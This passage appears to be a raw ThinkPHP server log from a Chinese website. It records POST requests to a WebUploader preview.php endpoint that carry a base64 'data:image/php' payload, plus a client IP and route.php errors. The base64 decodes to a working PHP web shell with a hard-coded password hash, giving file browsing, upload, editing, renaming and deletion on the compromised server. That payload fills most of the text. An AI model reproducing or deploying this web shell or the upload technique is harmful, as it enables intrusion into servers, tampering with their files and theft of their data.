CAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:30+08:00 ] 116.213.36.234 POST www.51tianwei.com/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002602s] [吞吐率:384.30req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'lib', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPS